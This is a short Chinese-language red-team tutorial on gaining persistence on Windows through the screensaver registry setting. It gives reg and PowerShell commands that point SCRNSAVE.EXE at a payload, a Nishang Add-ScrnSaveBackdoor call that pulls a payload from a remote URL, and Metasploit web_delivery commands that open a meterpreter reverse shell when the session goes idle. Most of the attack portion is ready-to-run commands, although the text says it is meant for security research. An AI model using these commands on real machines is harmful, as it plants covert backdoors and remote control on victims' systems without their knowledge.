129,248
社区成员




一、前言
屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统未处于空闲模式时,会话将中断。但是,红队可以在用户不在时执行攻击操作。如果屏幕保护程序被组策略禁用,则该技术不能用于持久性。本文仅用于安全研究和学习之用,更多参看:原文。
二、漏洞利用
屏幕保护程序设置存储在注册表中:
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
由于.scr文件本质上是可执行文件,可以通过命令提示符或从PowerShell控制台修改或添加注册表项,因此两个扩展名都可以用于后门植入。
1)利用屏保程序Meterpreter:
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.scr
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.exe'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.scr'
执行上述命令后,一旦你的机器不活动时间段过去,将执行任意有效载荷,并且将再次建立命令和控制的通信。
2)利用屏保程序Nishang, Nishang框架包含一个PowerShell脚本,该脚本也可以执行此攻击,但与上述方法相比,它需要管理员级别的特权,因为它需要在本地计算机中使用注册表项来存储将执行远程托管有效负载的PowerShell命令,且它不会接触磁盘。
Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO
之后,使用Metasploit Web交付模块生成并托管PowerShell负载。一旦用户会话变为空闲,屏幕保护程序将执行PowerShell负载,然后将打开一个meterpreter会话。
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit